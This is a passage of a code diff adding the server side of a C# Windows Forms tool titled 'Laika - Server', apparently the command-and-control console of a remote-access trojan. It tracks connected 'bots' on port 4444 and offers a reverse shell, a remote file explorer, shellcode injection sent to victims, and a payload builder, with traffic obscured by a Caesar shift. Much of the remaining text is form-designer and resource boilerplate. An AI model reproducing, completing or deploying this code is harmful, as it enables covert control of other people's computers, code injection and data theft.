dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.Control;
dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;
this.dataGridView1.ColumnHeadersHeight = 30;
this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing;
this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Id,
this.IPAddress});
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle2;
this.dataGridView1.EnableHeadersVisualStyles = false;
this.dataGridView1.GridColor = System.Drawing.SystemColors.ScrollBar;
this.dataGridView1.Location = new System.Drawing.Point(12, 28);
this.dataGridView1.Margin = new System.Windows.Forms.Padding(0);
this.dataGridView1.MultiSelect = false;
this.dataGridView1.Name = "dataGridView1";
this.dataGridView1.ReadOnly = true;
this.dataGridView1.RowHeadersVisible = false;
this.dataGridView1.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle3;
this.dataGridView1.RowTemplate.ReadOnly = true;
this.dataGridView1.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView1.Size = new System.Drawing.Size(567, 302);
this.dataGridView1.TabIndex = 1;
this.dataGridView1.TabStop = false;
this.dataGridView1.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick);
this.dataGridView1.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView1_CellMouseClick);
//
// Id
//
this.Id.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Id.HeaderText = "Id";
this.Id.Name = "Id";
this.Id.ReadOnly = true;
this.Id.Resizable = System.Windows.Forms.DataGridViewTriState.False;
this.Id.Width = 41;
//
// IPAddress
//
this.IPAddress.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.IPAddress.HeaderText = "IP Address";
this.IPAddress.Name = "IPAddress";
this.IPAddress.ReadOnly = true;
//
// contextMenuStrip1
//
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.shellToolStripMenuItem,
this.fileExplorerToolStripMenuItem,
this.shellcodeToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(169, 70);
//
// shellToolStripMenuItem
//
this.shellToolStripMenuItem.Image = global::Server.Properties.Resources.terminal;
this.shellToolStripMenuItem.Name = "shellToolStripMenuItem";
this.shellToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
this.shellToolStripMenuItem.Text = "Reverse shell";
this.shellToolStripMenuItem.Click += new System.EventHandler(this.ReverseShellToolStripMenuItem_Click);
//
// fileExplorerToolStripMenuItem
//
this.fileExplorerToolStripMenuItem.Image = global::Server.Properties.Resources.folder;
this.fileExplorerToolStripMenuItem.Name = "fileExplorerToolStripMenuItem";
this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
this.fileExplorerToolStripMenuItem.Text = "File Explorer";
this.fileExplorerToolStripMenuItem.Click += new System.EventHandler(this.fileExplorerToolStripMenuItem_Click);
//
// shellcodeToolStripMenuItem
//
this.shellcodeToolStripMenuItem.Image = global::Server.Properties.Resources.execute;
this.shellcodeToolStripMenuItem.Name = "shellcodeToolStripMenuItem";
this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
this.shellcodeToolStripMenuItem.Text = "Execute shellcode";
this.shellcodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteShellcodeToolStripMenuItem_Click);
//
// Menu
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.AutoScroll = true;
this.ClientSize = new System.Drawing.Size(591, 342);
this.Controls.Add(this.dataGridView1);
this.Controls.Add(this.menuStrip1);
this.MainMenuStrip = this.menuStrip1;
this.MinimumSize = new System.Drawing.Size(607, 381);
this.Name = "Menu";
this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show;
this.Text = "Laika - Server | 0 bots";
this.Load += new System.EventHandler(this.Form1_Load);
this.menuStrip1.ResumeLayout(false);
this.menuStrip1.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit();
this.contextMenuStrip1.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.MenuStrip menuStrip1;
private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem payloadToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem buildAPayloadToolStripMenuItem;
private System.Windows.Forms.DataGridView dataGridView1;
private System.Windows.Forms.DataGridViewTextBoxColumn Id;
private System.Windows.Forms.DataGridViewTextBoxColumn IPAddress;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem shellToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem fileExplorerToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem shellcodeToolStripMenuItem;
}
}

234
Server/Menu.cs Normal file
View File

@@ -0,0 +1,234 @@
using System;
using System.IO;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Net.Sockets;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
namespace Server
{
public partial class Menu : Form
{
public Menu()
{
InitializeComponent();
}
public static TcpListener server;
public static int CLIENT_ID;
public static List<TcpClient> CONNECT_CLIENTS = new List<TcpClient>();
public static void ServerStart()
{
string localIPAddress = "192.168.56.1";//Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString();
int port = 4444;
server = new TcpListener(System.Net.IPAddress.Parse(localIPAddress), port);
server.Start();
}
public static void ServerStop()
{
server.Stop();
}
public void on_new_client()
{
while (true)
{
TcpClient client;
try
{
client = server.AcceptTcpClient();
}
catch
{
continue;
}
client.Client.Blocking = false;
for (int i = 0; i < dataGridView1.Rows.Count; i++)
{
if (dataGridView1.Rows[i].Cells[1].Value.ToString() == client.Client.RemoteEndPoint.ToString().Split(':')[0])
{
client.Close();
client = null;
}
}
if (client == null)
continue;
this.Invoke((MethodInvoker)delegate
{
dataGridView1.Rows.Add(new object[] { CONNECT_CLIENTS.Count, client.Client.RemoteEndPoint.ToString().Split(':')[0]});
dataGridView1.Update();
});
lock (CONNECT_CLIENTS)
{
CONNECT_CLIENTS.Add(client);
}
try
{
this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots";
}
catch { }
Console.WriteLine("New client connected");
}
}
public void on_close_socket()
{
while (true)
{
lock (CONNECT_CLIENTS)
{
for (int i = 0; i < CONNECT_CLIENTS.Count; i++)
{
TcpClient client = CONNECT_CLIENTS[i];
if (i == FileExplorer.CLIENT_ID)
continue;
try
{
if (client.Client.Poll(1, SelectMode.SelectRead) && client.Client.Available == 0)
{
CONNECT_CLIENTS.RemoveAt(i);
this.Invoke((MethodInvoker)delegate
{
dataGridView1.Rows.RemoveAt(i);
dataGridView1.Update();
});
i--;
try
{
this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots";
}
catch { }
Console.WriteLine("Client disconnected");
}
}
catch (SocketException)
{
CONNECT_CLIENTS.RemoveAt(i);
this.Invoke((MethodInvoker)delegate
{
dataGridView1.Rows.RemoveAt(i);
dataGridView1.Update();
});
i--;
try
{
this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots";
}
catch { }
}
}
}
Thread.Sleep(100);
}
}
private void Form1_Load(object sender, EventArgs e)
{
dataGridView1.ClearSelection();
}
private void toolStripMenuItem1_Click(object sender, EventArgs e)
{
}
private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e)
{
}
private void exitToolStripMenuItem_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void BuildPayloadToolStripMenuItem_Click(object sender, EventArgs e)
{
BuildMenu menu = new BuildMenu();
menu.Show(this);
}
private void StartPatateCrypterToolStripMenuItem_Click(object sender, EventArgs e)
{
}
private void dataGridView1_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e)
{
if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0)
{
dataGridView1.CurrentCell = dataGridView1.Rows[e.RowIndex].Cells[e.ColumnIndex];
CLIENT_ID = dataGridView1.CurrentRow.Index;
contextMenuStrip1.Show(Cursor.Position);
}
}
private void ReverseShellToolStripMenuItem_Click(object sender, EventArgs e)
{
if (FileExplorer.OPENED == false)
Shell.StartShell();
}
private void fileExplorerToolStripMenuItem_Click(object sender, EventArgs e)
{
if (Shell.OPENED == false)
{
FileExplorer fex = new FileExplorer();
fex.Show(this);
}
}
private void ExecuteShellcodeToolStripMenuItem_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "Binary files (*.bin)|*.bin",
Title = "Select your shellcode"
};
if (openFileDialog.ShowDialog() != DialogResult.OK)
return;
string filePath = openFileDialog.FileName;
TcpClient c = CONNECT_CLIENTS[dataGridView1.CurrentRow.Index];
c.ReceiveTimeout = 10000;
c.Client.Blocking = true;
try
{
NetworkStream stream = c.GetStream();
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("inject"));
stream.Write(Message, 0, Message.Length);
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("32"));
stream.Write(Message, 0, Message.Length);
byte[] fileContent = File.ReadAllBytes(filePath);
stream.Write(fileContent, 0, fileContent.Length);
byte[] buffer = new byte[5];
int bytesRead;
bytesRead = stream.Read(buffer, 0, buffer.Length);
string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
MessageBox.Show(receivedData);
}
catch
{
MessageBox.Show("Client timed out.");
}
c.Client.Blocking = false;
}
}
}

132
Server/Menu.resx Normal file
View File

@@ -0,0 +1,132 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="menuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<metadata name="Id.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<value>True</value>
</metadata>
<metadata name="IPAddress.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<value>True</value>
</metadata>
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>132, 17</value>
</metadata>
</root>

207
Server/Program.cs Normal file
View File

@@ -0,0 +1,207 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using static System.Windows.Forms.VisualStyles.VisualStyleElement;
namespace Server
{
public static class Shell
{
public static bool OPENED = false;
public static void ClearSocketData(TcpClient client)
{
try
{
if (client.Connected)
{
NetworkStream stream = client.GetStream();
stream.Flush();
while (client.Available > 0)
{
byte[] buffer = new byte[client.Available];
stream.Read(buffer, 0, buffer.Length);
}
}
}
catch { }
}
public static async void StartShell()
{
OPENED = true;
Form shell = new Form
{
Text = "Shell",
Size = new Size(800, 450),
BackColor = Color.Black,
FormBorderStyle = FormBorderStyle.FixedSingle,
MaximizeBox = false,
StartPosition = FormStartPosition.CenterScreen
};
System.Windows.Forms.TextBox textBox = new System.Windows.Forms.TextBox
{
Multiline = true,
Dock = DockStyle.Fill,
BackColor = Color.Black,
ForeColor = Color.White,
BorderStyle = BorderStyle.None,
Font = new Font("Consolas", 12),
ScrollBars = ScrollBars.Vertical
};
shell.Controls.Add(textBox);
TcpClient c = Menu.CONNECT_CLIENTS[Menu.CLIENT_ID];
c.Client.Blocking = true;
ClearSocketData(c);
shell.FormClosing += (sender, e) => OnFormClosing(e, c);
textBox.KeyDown += (sender, e) => OnKeyDown(e, textBox, c);
shell.Show();
try
{
await Task.Run(async () =>
{
try
{
NetworkStream stream = c.GetStream();
byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("shell"));
stream.Write(message, 0, message.Length);
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = await stream.ReadAsync(buffer, 0, buffer.Length)) != 0)
{
string receivedData = Encoding.UTF8.GetString(buffer, 0, bytesRead);
if (receivedData == "fail")
{
shell.Invoke((Action)(() => MessageBox.Show("fail")));
break;
}
receivedData = Utils.CAESAR_DECRYPT(receivedData);
if (receivedData.Contains("Laika: session ended"))
{
break;
}
shell.Invoke((Action)(() =>
{
textBox.AppendText(receivedData);
textBox.ScrollToCaret();
}));
}
}
catch
{
}
});
}
finally
{
ClearSocketData(c);
c.Client.Blocking = false;
if (shell != null)
{
shell.Close();
shell.Dispose();
}
}
OPENED = false;
}
private static void OnFormClosing(FormClosingEventArgs e, TcpClient c)
{
try
{
NetworkStream stream = c.GetStream();
byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("exit\n"));
stream.Write(message, 0, message.Length);
ClearSocketData(c);
c.Client.Blocking = false;
}
catch { }
OPENED = false;
}
private static async void OnKeyDown(KeyEventArgs e, System.Windows.Forms.TextBox textBox, TcpClient client)
{
if (e.KeyCode == Keys.Enter)
{
e.SuppressKeyPress = true; // Prevent the beep sound on Enter key
string input = textBox.Text.Split(new[] { ">" }, StringSplitOptions.None).Last();
try
{
NetworkStream stream = client.GetStream();
byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR(input + "\n"));
await stream.WriteAsync(message, 0, message.Length);
}
catch (Exception ex)
{
MessageBox.Show("Error sending message: " + ex.Message);
}
textBox.AppendText(Environment.NewLine); // Move to the next line after pressing Enter
}
}
}
public static class Utils
{
private const int KEY = 5;
public static string CAESAR_DECRYPT(string input)
{
char[] result = new char[input.Length];
for (int i = 0; i < input.Length; i++)
{
char c = input[i];
result[i] = (char)((int)c - KEY);
}
return new string(result);
}
public static string CAESAR(string input)
{
char[] result = new char[input.Length];
for (int i = 0; i < input.Length; i++)
{
char c = input[i];
result[i] = (char)((int)c + KEY);
}
return new string(result);
}
}
internal static class Program
{
/// <summary>
/// Point d'entrée principal de l'application.
/// </summary>
[STAThread]
static void Main()
{
Application.SetCompatibleTextRenderingDefault(false);
Application.EnableVisualStyles();
Menu.ServerStart();
Menu m = new Menu();
Thread t = new Thread(m.on_new_client);
Thread t2 = new Thread(m.on_close_socket);
t.Start();
t2.Start();
Application.Run(m);
Menu.ServerStop();
t.Abort();
t2.Abort();
}
}
}

View File

@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// Les informations générales relatives à un assembly dépendent de
// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations
// associées à un assembly.
[assembly: AssemblyTitle("Server")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Server")]
[assembly: AssemblyCopyright("Copyright © 2024")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly
// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de
// COM, affectez la valeur true à l'attribut ComVisible sur ce type.
[assembly: ComVisible(false)]
// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM
[assembly: Guid("ecbaf9b2-2988-480b-973e-50a6bdc7016e")]
// Les informations de version pour un assembly se composent des quatre valeurs suivantes :
//
// Version principale
// Version secondaire
// Numéro de build
// Révision
//
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

153
Server/Properties/Resources.Designer.cs generated Normal file
View File

@@ -0,0 +1,153 @@
//------------------------------------------------------------------------------
// <auto-generated>
// Ce code a été généré par un outil.
// Version du runtime :4.0.30319.42000
//
// Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
// le code est régénéré.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Server.Properties {
using System;
/// <summary>
/// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.
/// </summary>
// Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder
// à l'aide d'un outil, tel que ResGen ou Visual Studio.
// Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen
// avec l'option /str ou régénérez votre projet VS.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// Retourne l'instance ResourceManager mise en cache utilisée par cette classe.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Server.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Remplace la propriété CurrentUICulture du thread actuel pour toutes
/// les recherches de ressources à l'aide de cette classe de ressource fortement typée.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap delete {
get {
object obj = ResourceManager.GetObject("delete", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap download {
get {
object obj = ResourceManager.GetObject("download", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap execute {
get {
object obj = ResourceManager.GetObject("execute", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap file {
get {
object obj = ResourceManager.GetObject("file", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap folder {
get {
object obj = ResourceManager.GetObject("folder", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap refresh {
get {
object obj = ResourceManager.GetObject("refresh", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap terminal {
get {
object obj = ResourceManager.GetObject("terminal", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap up_arrow {
get {
object obj = ResourceManager.GetObject("up_arrow", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap upload {
get {
object obj = ResourceManager.GetObject("upload", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
}
}

View File

@@ -0,0 +1,148 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
